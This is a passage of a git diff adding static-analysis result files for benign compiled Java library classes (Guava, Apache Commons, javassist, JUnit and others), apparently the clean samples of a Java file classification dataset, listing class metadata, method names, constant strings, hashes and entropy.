a/java_classification/data/clean/9d210e9e9c7d93fa7c872abf7c55e95c1cb89cddf72d66e27c308375ea7c198a.results b/java_classification/data/clean/9d210e9e9c7d93fa7c872abf7c55e95c1cb89cddf72d66e27c308375ea7c198a.results new file mode 100755 index 0000000..3288df3 --- /dev/null +++ b/java_classification/data/clean/9d210e9e9c7d93fa7c872abf7c55e95c1cb89cddf72d66e27c308375ea7c198a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AbstractNonStreamingHashFunction.java", "class_name": "com/google/common/hash/AbstractNonStreamingHashFunction$BufferingHasher", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "putByte", "putBytes", "putBytes", "putShort", "putInt", "putLong", "putChar", "putObject", "hash", "putChar", "putLong", "putInt", "putShort", "putBytes", "putBytes", "putByte"], "minor_version": 0, "const_pool_count": 141}}, "_id": "2ec64499-cd05-4b04-b15f-2156e13fbb0f", "verbose": {"java": {"signatures": ["(TT;Lcom/google/common/hash/Funnel<-TT;>;)Lcom/google/common/hash/Hasher;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "746ca381a07e8e42d8b6fc45545dec39605daa19", "file_name": "java_clean/9d210e9e9c7d93fa7c872abf7c55e95c1cb89cddf72d66e27c308375ea7c198a", "_id": "2ec64499-cd05-4b04-b15f-2156e13fbb0f", "score": 0, "entropy": 5.245921253272117, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4118, "ssdeep": "48:icgtElU8ird3Gkwj3To1ObnPqoagm/1CIJqI7LaRg3+tneG:iulU8wFoaqwNCInaRtn", "sha256": "9d210e9e9c7d93fa7c872abf7c55e95c1cb89cddf72d66e27c308375ea7c198a", "md5": "03937556e45c8c5d45e9450e0d375136", "parent_sha256": "9d210e9e9c7d93fa7c872abf7c55e95c1cb89cddf72d66e27c308375ea7c198a"}} \ No newline at end of file diff --git a/java_classification/data/clean/9d388bf081ad291e37b98ee42b7bde6734500d4c84de24a99a0babb8b315e9cc.results b/java_classification/data/clean/9d388bf081ad291e37b98ee42b7bde6734500d4c84de24a99a0babb8b315e9cc.results new file mode 100755 index 0000000..5c294c4 --- /dev/null +++ b/java_classification/data/clean/9d388bf081ad291e37b98ee42b7bde6734500d4c84de24a99a0babb8b315e9cc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FTPFileEntryParser.java", "class_name": "org/apache/commons/net/ftp/FTPFileEntryParser", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["parseFTPEntry", "readNextEntry", "preParse"], "minor_version": 0, "const_pool_count": 16}}, "_id": "4610ce17-d761-4330-9af9-84f21e5e8454", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8bbd9cb14c5c35de2b89e4351a9c3605c9d186c0", "file_name": "java_clean/9d388bf081ad291e37b98ee42b7bde6734500d4c84de24a99a0babb8b315e9cc", "_id": "4610ce17-d761-4330-9af9-84f21e5e8454", "score": 0, "entropy": 5.150913597895274, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 402, "ssdeep": "6:k0XDdchwXMhOAT8L+MQh8YIXMOwRhjfyIfGyNARKEVAT8GkiRPlEEcS2ixuR:kcChiM067hqMOwnqInAPpGkiRtEEqV", "sha256": "9d388bf081ad291e37b98ee42b7bde6734500d4c84de24a99a0babb8b315e9cc", "md5": "5b434c859e04b846405fdfe01263e05c", "parent_sha256": "9d388bf081ad291e37b98ee42b7bde6734500d4c84de24a99a0babb8b315e9cc"}} \ No newline at end of file diff --git a/java_classification/data/clean/9d8d3acf9841b6ee422d8e5465e1a2b28e2cba0c3f440949cc1d2fc013d7cffe.results b/java_classification/data/clean/9d8d3acf9841b6ee422d8e5465e1a2b28e2cba0c3f440949cc1d2fc013d7cffe.results new file mode 100755 index 0000000..3f7e749 --- /dev/null +++ b/java_classification/data/clean/9d8d3acf9841b6ee422d8e5465e1a2b28e2cba0c3f440949cc1d2fc013d7cffe.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CustomConcurrentHashMap.java", "class_name": "com/google/common/collect/CustomConcurrentHashMap$Strength$3", "access_permissions": ["ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["", "referenceValue", "defaultEquivalence"], "minor_version": 0, "const_pool_count": 56}}, "_id": "e3e7e0bb-782a-4fdf-83d3-9026139739fe", "verbose": {"java": {"signatures": ["(Lcom/google/common/collect/CustomConcurrentHashMap$ReferenceEntry;TV;)Lcom/google/common/collect/CustomConcurrentHashMap$ValueReference;", "()Lcom/google/common/base/Equivalence;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fb037ec9d182919f9bc30101930865198c32ac37", "file_name": "java_clean/9d8d3acf9841b6ee422d8e5465e1a2b28e2cba0c3f440949cc1d2fc013d7cffe", "_id": "e3e7e0bb-782a-4fdf-83d3-9026139739fe", "score": 0, "entropy": 5.200419788193931, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2075, "ssdeep": "48:Ymul7vfuYDvf1vfWvfYyvfy7gvfjvfsfImvfDvfjvftSvfQvft1bvfjvfsvf5vf6:ClbbT5UpnzQ7Tz+K7zWtEkX3eDZ", "sha256": "9d8d3acf9841b6ee422d8e5465e1a2b28e2cba0c3f440949cc1d2fc013d7cffe", "md5": "c604588f79cfed9529ceb34475869be2", "parent_sha256": "9d8d3acf9841b6ee422d8e5465e1a2b28e2cba0c3f440949cc1d2fc013d7cffe"}} \ No newline at end of file diff --git a/java_classification/data/clean/9dd55fb43c72eac7c0e9073b629033fca37d0844e5148f5416add3ac9d2f4010.results b/java_classification/data/clean/9dd55fb43c72eac7c0e9073b629033fca37d0844e5148f5416add3ac9d2f4010.results new file mode 100755 index 0000000..066154b --- /dev/null +++ b/java_classification/data/clean/9dd55fb43c72eac7c0e9073b629033fca37d0844e5148f5416add3ac9d2f4010.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/GameOverScreen$4", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "GameOverScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 55}}, "_id": "df7c418e-714e-4407-9e8f-c74378178250", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9fc499f850b5bf2f50a1bafb7cba8af518617931", "file_name": "java_clean/9dd55fb43c72eac7c0e9073b629033fca37d0844e5148f5416add3ac9d2f4010", "_id": "df7c418e-714e-4407-9e8f-c74378178250", "score": 0, "entropy": 5.218988213244854, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1100, "ssdeep": "24:7x2QOwJxW1IxHU9lj/xhxMbx5agjg3g3wIFqNa5gZAjn8q:92QOgW1iHU9lVHMd1tiZAjn8q", "sha256": "9dd55fb43c72eac7c0e9073b629033fca37d0844e5148f5416add3ac9d2f4010", "md5": "8a2e27d7f0dac91b17fd9c69c5c14e27", "parent_sha256": "9dd55fb43c72eac7c0e9073b629033fca37d0844e5148f5416add3ac9d2f4010"}} \ No newline at end of file diff --git a/java_classification/data/clean/9de738953ebce08cd47099acf3c3a06b4140622875a25217949ba341ee63a3a2.results b/java_classification/data/clean/9de738953ebce08cd47099acf3c3a06b4140622875a25217949ba341ee63a3a2.results new file mode 100755 index 0000000..4254d93 --- /dev/null +++ b/java_classification/data/clean/9de738953ebce08cd47099acf3c3a06b4140622875a25217949ba341ee63a3a2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/util/CSVWriter", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "writeHeader", "writeData", "close", "doWriteData", "toCsvValue"], "minor_version": 0, "const_pool_count": 90}}, "_id": "61709735-9e94-4687-9a68-682a3d7ea2b5", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["line.separator", "file.encoding", ";", "\""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5e0abd770c0c9b0b7b7f101b3818e64a4a7844cf", "file_name": "java_clean/9de738953ebce08cd47099acf3c3a06b4140622875a25217949ba341ee63a3a2", "_id": "61709735-9e94-4687-9a68-682a3d7ea2b5", "score": 0, "entropy": 5.489523708216186, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1447, "ssdeep": "24:z7GEh4j9UHtwwPWO+8cjD6eHEpRvFj2HnOOZtNvqsJi:zSEh4nKFEj2e4Rv8HffNvqp", "sha256": "9de738953ebce08cd47099acf3c3a06b4140622875a25217949ba341ee63a3a2", "md5": "af8346bcd6502743a0b5b9effe6303cd", "parent_sha256": "9de738953ebce08cd47099acf3c3a06b4140622875a25217949ba341ee63a3a2"}} \ No newline at end of file diff --git a/java_classification/data/clean/9e30806b3540c41ddff21b4fae890e7cfa84e83d836c6a4a0f212a64d78b22fc.results b/java_classification/data/clean/9e30806b3540c41ddff21b4fae890e7cfa84e83d836c6a4a0f212a64d78b22fc.results new file mode 100755 index 0000000..9606cba --- /dev/null +++ b/java_classification/data/clean/9e30806b3540c41ddff21b4fae890e7cfa84e83d836c6a4a0f212a64d78b22fc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LOSort.java", "class_name": "org/apache/pig/impl/logicalLayer/LOSort", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "getInput", "getSortColPlans", "setSortColPlans", "getAscendingCols", "setAscendingCols", "getUserFunc", "setUserFunc", "isStar", "setStar", "setLimit", "getLimit", "isLimited", "name", "getSchema", "supportsMultipleInputs", "visit", "getType", "clone", "getProjectionMap", "getRequiredFields", "rewire", "getRelevantInputs", "visit", ""], "minor_version": 0, "const_pool_count": 420}}, "_id": "b6f2bf53-ecb4-4e6d-83df-e97de9606917", "verbose": {"java": {"signatures": ["Ljava/util/List;", "Ljava/util/List;", "(Lorg/apache/pig/impl/logicalLayer/LogicalPlan;Lorg/apache/pig/impl/plan/OperatorKey;Ljava/util/List;Ljava/util/List;Lorg/apache/pig/FuncSpec;)V", "()Ljava/util/List;", "(Ljava/util/List;)V", "()Ljava/util/List;", "(Ljava/util/List;)V", "()Ljava/util/List;", "(II)Ljava/util/List;"], "constant strings": ["SORT ", "-", "Could not find operator in plan", "Problem while fixing project inputs during rewiring."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f45e58b18ac0892950dd5f3cf3db0ec20a3c2dcc", "file_name": "java_clean/9e30806b3540c41ddff21b4fae890e7cfa84e83d836c6a4a0f212a64d78b22fc", "_id": "b6f2bf53-ecb4-4e6d-83df-e97de9606917", "score": 0, "entropy": 5.595394803278216, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 11771, "ssdeep": "192:l2lGNO5lCsDFl7slszVDTdpDpWuW8MxsnE/cENFBhhO/T+Ho:U5jDFl7EOVlnW18MxsgcwFBhhO/aHo", "sha256": "9e30806b3540c41ddff21b4fae890e7cfa84e83d836c6a4a0f212a64d78b22fc", "md5": "856476c8e77f5ef1139a56492bd850e8", "parent_sha256": "9e30806b3540c41ddff21b4fae890e7cfa84e83d836c6a4a0f212a64d78b22fc"}} \ No newline at end of file diff --git a/java_classification/data/clean/9ea43c590328535e72c769db835d6a8fa3800f0a19f9350969bc1d8cd0c5a916.results b/java_classification/data/clean/9ea43c590328535e72c769db835d6a8fa3800f0a19f9350969bc1d8cd0c5a916.results new file mode 100755 index 0000000..c70e91a --- /dev/null +++ b/java_classification/data/clean/9ea43c590328535e72c769db835d6a8fa3800f0a19f9350969bc1d8cd0c5a916.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "javax/servlet/http/HttpServlet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "interfaces": ["java/io/Serializable"], "sourcefile": "HttpServlet.java", "method_names": ["", "", "doDelete", "doGet", "doHead", "doOptions", "doPost", "doPut", "doTrace", "getAllDeclaredMethods", "getLastModified", "maybeSetLastModified", "service", "service"], "minor_version": 3, "const_pool_count": 351}}, "_id": "7c25f852-6b28-4683-bf5a-9131472db920", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.932735517796675, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "message/http"}}}, "constant strings": ["\\r\\n", " ", ", DELETE", ", HEAD", ", OPTIONS", ", POST", ", PUT", ", TRACE", "1.1", ": ", "Allow", "DELETE", "GET", "HEAD", "If-Modified-Since", "Last-Modified", "OPTIONS", "POST", "PUT", "TRACE", "TRACE ", "doDelete", "doGet", "doPost", "doPut", "http.method_delete_not_supported", "http.method_get_not_supported", "http.method_not_implemented", "http.method_post_not_supported", "http.method_put_not_supported", "javax.servlet.http.HttpServlet", "javax.servlet.http.LocalStrings", "message/http", "non-HTTP request or response"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6e2d34436451e7f7ffb18dd77eb37737743bae76", "file_name": "java_clean/9ea43c590328535e72c769db835d6a8fa3800f0a19f9350969bc1d8cd0c5a916", "_id": "7c25f852-6b28-4683-bf5a-9131472db920", "score": 0, "entropy": 5.902804896098103, "libmagic": "compiled Java class data, version 45.3", "file_size": 7982, "ssdeep": "96:OmJVuUrlE16BAgeSJduvz3bg7fYaaoFgQGjB6bWAvdppZnXV5mhh33:OwQUrlE10A1EdSzrEQab8QbVznX6F", "sha256": "9ea43c590328535e72c769db835d6a8fa3800f0a19f9350969bc1d8cd0c5a916", "md5": "b879a766c0bec132b1781dd4037b2331", "parent_sha256": "9ea43c590328535e72c769db835d6a8fa3800f0a19f9350969bc1d8cd0c5a916"}} \ No newline at end of file diff --git a/java_classification/data/clean/a00cf4b8a62e13b3beefebc9ff2f545a34698a320e851acc73ad5c411dd483e6.results b/java_classification/data/clean/a00cf4b8a62e13b3beefebc9ff2f545a34698a320e851acc73ad5c411dd483e6.results new file mode 100755 index 0000000..45df208 --- /dev/null +++ b/java_classification/data/clean/a00cf4b8a62e13b3beefebc9ff2f545a34698a320e851acc73ad5c411dd483e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TimeoutController.java", "class_name": "org/apache/commons/httpclient/util/TimeoutController", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 45, "method_names": ["", "execute", "execute"], "minor_version": 3, "const_pool_count": 62}}, "_id": "326cd5d5-b434-4da2-ab3e-1092a3395fa7", "verbose": {"java": {"constant strings": ["Timeout guard"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "57a9139b8290fae670c1e70ef7cc033642f80378", "file_name": "java_clean/a00cf4b8a62e13b3beefebc9ff2f545a34698a320e851acc73ad5c411dd483e6", "_id": "326cd5d5-b434-4da2-ab3e-1092a3395fa7", "score": 0, "entropy": 5.257597374389618, "libmagic": "compiled Java class data, version 45.3", "file_size": 1194, "ssdeep": "24:ciOIb3yQuljKMqpoGcn+uf7FIb/V4uDaS7SOqZEe54ixT:XOwyFl2Mqp45FIb/rtSO0kaT", "sha256": "a00cf4b8a62e13b3beefebc9ff2f545a34698a320e851acc73ad5c411dd483e6", "md5": "27b69c9786d1ec113a89fea91bac9ff2", "parent_sha256": "a00cf4b8a62e13b3beefebc9ff2f545a34698a320e851acc73ad5c411dd483e6"}} \ No newline at end of file diff --git a/java_classification/data/clean/a02aa1d53067ca3aebf3cdb7dcb7380803e6aee26d11a03f41731e5c721a5392.results b/java_classification/data/clean/a02aa1d53067ca3aebf3cdb7dcb7380803e6aee26d11a03f41731e5c721a5392.results new file mode 100755 index 0000000..e762c65 --- /dev/null +++ b/java_classification/data/clean/a02aa1d53067ca3aebf3cdb7dcb7380803e6aee26d11a03f41731e5c721a5392.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MapConstraints.java", "class_name": "com/google/common/collect/MapConstraints$2", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "delegate", "getValue", "getValue", "delegate"], "minor_version": 0, "const_pool_count": 66}}, "_id": "b5fa7626-95c2-4d97-aa87-a688d67f0ee7", "verbose": {"java": {"signatures": ["()Ljava/util/Map$Entry;>;", "()Ljava/util/Collection;", "Lcom/google/common/collect/ForwardingMapEntry;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "61592ec80a240603cd77e853c2604f698c4c9bd7", "file_name": "java_clean/a02aa1d53067ca3aebf3cdb7dcb7380803e6aee26d11a03f41731e5c721a5392", "_id": "b5fa7626-95c2-4d97-aa87-a688d67f0ee7", "score": 0, "entropy": 5.205088009192039, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1767, "ssdeep": "24:PtsaVFxq5ZXCx6uljJzXxpxHo7fVon1ogIF6rFzCrTx997Jxf2xmMfR+i2CsmBVt:PKJ5ZXUlFzC7SnqnMp2rBEBrZ/d", "sha256": "a02aa1d53067ca3aebf3cdb7dcb7380803e6aee26d11a03f41731e5c721a5392", "md5": "9e218fcbffc2140db430535a756c4cb4", "parent_sha256": "a02aa1d53067ca3aebf3cdb7dcb7380803e6aee26d11a03f41731e5c721a5392"}} \ No newline at end of file diff --git a/java_classification/data/clean/a17ea77fc05f1e5def26f80ac4d29e6cf71b672a1ad917d33aa8e0dc5139b317.results b/java_classification/data/clean/a17ea77fc05f1e5def26f80ac4d29e6cf71b672a1ad917d33aa8e0dc5139b317.results new file mode 100755 index 0000000..b2709a6 --- /dev/null +++ b/java_classification/data/clean/a17ea77fc05f1e5def26f80ac4d29e6cf71b672a1ad917d33aa8e0dc5139b317.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TestFailure.java", "class_name": "junit/framework/TestFailure", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "failedTest", "thrownException", "toString", "trace", "exceptionMessage", "isFailure"], "minor_version": 0, "const_pool_count": 87}}, "_id": "0c2bdda5-5078-4a63-8834-db46a223a20b", "verbose": {"java": {"constant strings": [": "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c67ddba406616dfdaec595238664d23de393c9c4", "file_name": "java_clean/a17ea77fc05f1e5def26f80ac4d29e6cf71b672a1ad917d33aa8e0dc5139b317", "_id": "0c2bdda5-5078-4a63-8834-db46a223a20b", "score": 0, "entropy": 5.235870692502513, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1848, "ssdeep": "24:8fvvB2ZQuljPprC7MVXLP5bupHgV6E6PoZL6N6UZaQK0G1vEshylhrbRl/:8fvYnlw7MVXLxi+rUoZOzwQK0hFbz", "sha256": "a17ea77fc05f1e5def26f80ac4d29e6cf71b672a1ad917d33aa8e0dc5139b317", "md5": "62dfbfe93a1e143127d815ad26146447", "parent_sha256": "a17ea77fc05f1e5def26f80ac4d29e6cf71b672a1ad917d33aa8e0dc5139b317"}} \ No newline at end of file diff --git a/java_classification/data/clean/a1ff30517a17fced20b0c51cb9b376017c3e3037f937419a5183ed30b6065fe0.results b/java_classification/data/clean/a1ff30517a17fced20b0c51cb9b376017c3e3037f937419a5183ed30b6065fe0.results new file mode 100755 index 0000000..63fb2d5 --- /dev/null +++ b/java_classification/data/clean/a1ff30517a17fced20b0c51cb9b376017c3e3037f937419a5183ed30b6065fe0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AuthScope.java", "class_name": "org/apache/commons/httpclient/auth/AuthScope", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "", "", "", "getHost", "getPort", "getRealm", "getScheme", "paramsEqual", "paramsEqual", "match", "equals", "toString", "hashCode", ""], "minor_version": 3, "const_pool_count": 132}}, "_id": "32d51433-663c-4170-afbd-62f351287ae5", "verbose": {"java": {"constant strings": ["Scope may not be null", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "38ca81dcc9e3d352930a2547d2a993bfebe62ae7", "file_name": "java_clean/a1ff30517a17fced20b0c51cb9b376017c3e3037f937419a5183ed30b6065fe0", "_id": "32d51433-663c-4170-afbd-62f351287ae5", "score": 0, "entropy": 5.3438831523447785, "libmagic": "compiled Java class data, version 45.3", "file_size": 3653, "ssdeep": "48:YblQLhHnt+p2gfylJDNPm7kYs8wnzNHTZWBWSIehRI0j9KhNw9Qks8pb7XL6a/kg:oyNgNqlJDNepE8DhDaN+7JWu", "sha256": "a1ff30517a17fced20b0c51cb9b376017c3e3037f937419a5183ed30b6065fe0", "md5": "ad8605516582b9cdb3c7f2f8252b896a", "parent_sha256": "a1ff30517a17fced20b0c51cb9b376017c3e3037f937419a5183ed30b6065fe0"}} \ No newline at end of file diff --git a/java_classification/data/clean/a2d78f4496f9f229c8ed7e2fa5cc311e56f5bc2a1ecf11045b13e47e8aa9c76f.results b/java_classification/data/clean/a2d78f4496f9f229c8ed7e2fa5cc311e56f5bc2a1ecf11045b13e47e8aa9c76f.results new file mode 100755 index 0000000..7d6da50 --- /dev/null +++ b/java_classification/data/clean/a2d78f4496f9f229c8ed7e2fa5cc311e56f5bc2a1ecf11045b13e47e8aa9c76f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/TreeMultiset$Node", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "TreeMultiset.java", "method_names": ["", "elemCount", "", "access$900", "access$1000", "", ""], "minor_version": 0, "const_pool_count": 102}}, "_id": "62b9ff2a-3e5d-41d6-b6cf-321f14343875", "verbose": {"java": {"signatures": ["(TE;ILcom/google/common/collect/TreeMultiset$Node;Lcom/google/common/collect/TreeMultiset$Node;)V", "(TE;I)V", "Lcom/google/common/collect/BstNode;>;Ljava/io/Serializable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "698a379230f9099688a2c859d60869ec466ebc67", "file_name": "java_clean/a2d78f4496f9f229c8ed7e2fa5cc311e56f5bc2a1ecf11045b13e47e8aa9c76f", "_id": "62b9ff2a-3e5d-41d6-b6cf-321f14343875", "score": 0, "entropy": 5.2133244107867585, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3001, "ssdeep": "48:ZCKmsQaBl9j/rBKD5E+uQaBjlHDR7q70gl5l0OuZHmthFW2XXK:ZCLaBl9zrBKD5E+ZaBZlO70WIOE12XXK", "sha256": "a2d78f4496f9f229c8ed7e2fa5cc311e56f5bc2a1ecf11045b13e47e8aa9c76f", "md5": "0fb1cab7106dace8130fdb67cdfa5b22", "parent_sha256": "a2d78f4496f9f229c8ed7e2fa5cc311e56f5bc2a1ecf11045b13e47e8aa9c76f"}} \ No newline at end of file diff --git a/java_classification/data/clean/a3c468e8f7beac5988b26dab554e71b28fa97482bdd4f0181923dee20cdf97b1.results b/java_classification/data/clean/a3c468e8f7beac5988b26dab554e71b28fa97482bdd4f0181923dee20cdf97b1.results new file mode 100755 index 0000000..d4331c3 --- /dev/null +++ b/java_classification/data/clean/a3c468e8f7beac5988b26dab554e71b28fa97482bdd4f0181923dee20cdf97b1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Iterables.java", "class_name": "com/google/common/collect/Iterables$6", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "iterator"], "minor_version": 0, "const_pool_count": 48}}, "_id": "8c477e7a-7c72-4757-8528-e7119885cd6a", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;>;", "Lcom/google/common/collect/Iterables$IterableWithToString;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "69a074416776547b323fb64c38972ae860e7f01e", "file_name": "java_clean/a3c468e8f7beac5988b26dab554e71b28fa97482bdd4f0181923dee20cdf97b1", "_id": "8c477e7a-7c72-4757-8528-e7119885cd6a", "score": 0, "entropy": 5.167365854541995, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1105, "ssdeep": "24:1O2DX8ulj5R08dc8ez3i08ZxD4u8E1l2oxci8mU:1bXBlvX0axE8lv3U", "sha256": "a3c468e8f7beac5988b26dab554e71b28fa97482bdd4f0181923dee20cdf97b1", "md5": "7cbda93ed112334aea588ec5d09f318e", "parent_sha256": "a3c468e8f7beac5988b26dab554e71b28fa97482bdd4f0181923dee20cdf97b1"}} \ No newline at end of file diff --git a/java_classification/data/clean/a3e0811bd642ad37ab6b8205d93362917353ba4bc0c0177585adccf6991830dd.results b/java_classification/data/clean/a3e0811bd642ad37ab6b8205d93362917353ba4bc0c0177585adccf6991830dd.results new file mode 100755 index 0000000..cc4556c --- /dev/null +++ b/java_classification/data/clean/a3e0811bd642ad37ab6b8205d93362917353ba4bc0c0177585adccf6991830dd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TransformCall.java", "class_name": "javassist/convert/TransformCall", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "", "initialize", "transform", "matchClass", "match"], "minor_version": 0, "const_pool_count": 194}}, "_id": "b0f7ce8b-d959-447a-8c6c-a0f9d61f754b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "91960513504891d00e8731d736e4a9102e83c49f", "file_name": "java_clean/a3e0811bd642ad37ab6b8205d93362917353ba4bc0c0177585adccf6991830dd", "_id": "b0f7ce8b-d959-447a-8c6c-a0f9d61f754b", "score": 0, "entropy": 5.554329135408149, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4003, "ssdeep": "96:zyRlly4KfckByBgTrbNXJ5xF0gk35V2vKeP:zaltCRblJtBk3r2vKm", "sha256": "a3e0811bd642ad37ab6b8205d93362917353ba4bc0c0177585adccf6991830dd", "md5": "f81252e5bb5eecfc6b808ecdf97d8899", "parent_sha256": "a3e0811bd642ad37ab6b8205d93362917353ba4bc0c0177585adccf6991830dd"}} \ No newline at end of file diff --git a/java_classification/data/clean/a420c0275a622715220718e732d343a5ac5f71aeee89d4e3bdf9de45e154fedd.results b/java_classification/data/clean/a420c0275a622715220718e732d343a5ac5f71aeee89d4e3bdf9de45e154fedd.results new file mode 100755 index 0000000..f1e7b7b --- /dev/null +++ b/java_classification/data/clean/a420c0275a622715220718e732d343a5ac5f71aeee89d4e3bdf9de45e154fedd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "javassist/bytecode/ExceptionTable", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Cloneable"], "sourcefile": "ExceptionTable.java", "method_names": ["", "", "clone", "size", "startPc", "setStartPc", "endPc", "setEndPc", "handlerPc", "setHandlerPc", "catchType", "setCatchType", "add", "add", "add", "remove", "copy", "shiftPc", "shiftPc", "write"], "minor_version": 0, "const_pool_count": 153}}, "_id": "ff491303-0896-4ae5-a49d-57eadc85f4bf", "metadata": {"mimetype": "application/x-java-applet", "sha1": "006fc3af98f6f9729b499803dcf86d24a5ba3752", "file_name": "java_clean/a420c0275a622715220718e732d343a5ac5f71aeee89d4e3bdf9de45e154fedd", "_id": "ff491303-0896-4ae5-a49d-57eadc85f4bf", "score": 0, "entropy": 5.203788136496156, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4612, "ssdeep": "96:cmeYl//q6ofx/7m7yYNTOi8AJF6hxPX2xp9U:cmrl66CxjgyYj8zv/ipO", "sha256": "a420c0275a622715220718e732d343a5ac5f71aeee89d4e3bdf9de45e154fedd", "md5": "97b255eb4212cef19f3ea17d3a85f29e", "parent_sha256": "a420c0275a622715220718e732d343a5ac5f71aeee89d4e3bdf9de45e154fedd"}} \ No newline at end of file diff --git a/java_classification/data/clean/a45dac4a2749d08bcfbfc5f8a27fa22a34e000c3f5fce92c59286d37b06adefa.results b/java_classification/data/clean/a45dac4a2749d08bcfbfc5f8a27fa22a34e000c3f5fce92c59286d37b06adefa.results new file mode 100755 index 0000000..7884572 --- /dev/null +++ b/java_classification/data/clean/a45dac4a2749d08bcfbfc5f8a27fa22a34e000c3f5fce92c59286d37b06adefa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Comment.java", "class_name": "com/jcraft/jorbis/Comment", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "init", "add", "add", "addTag", "tagcompare", "query", "query", "query", "unpack", "pack", "headerOut", "clear", "getVendor", "getComment", "toString"], "minor_version": 0, "const_pool_count": 199}}, "_id": "de9a70f3-e199-491b-8fc7-e7304142681a", "verbose": {"java": {"constant strings": ["vorbis", "Xiphophorus libVorbis I 20000508", "", "=", "Vendor: ", "\\nComment: ", "\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1203055e8386c3cd509cba5480e4290b52888d5", "file_name": "java_clean/a45dac4a2749d08bcfbfc5f8a27fa22a34e000c3f5fce92c59286d37b06adefa", "_id": "de9a70f3-e199-491b-8fc7-e7304142681a", "score": 0, "entropy": 5.524813845746963, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4971, "ssdeep": "96:Kz0DuVyDAlv1TqMy2Iu6U8nyY+bJRNOc/yalOZybuKahhnnHeTyYtsORN:KhyDAlgkI3+NRNOiUybuKahhnHskORN", "sha256": "a45dac4a2749d08bcfbfc5f8a27fa22a34e000c3f5fce92c59286d37b06adefa", "md5": "ef916baedfc0b6749ddd65c2449c3fd8", "parent_sha256": "a45dac4a2749d08bcfbfc5f8a27fa22a34e000c3f5fce92c59286d37b06adefa"}} \ No newline at end of file diff --git 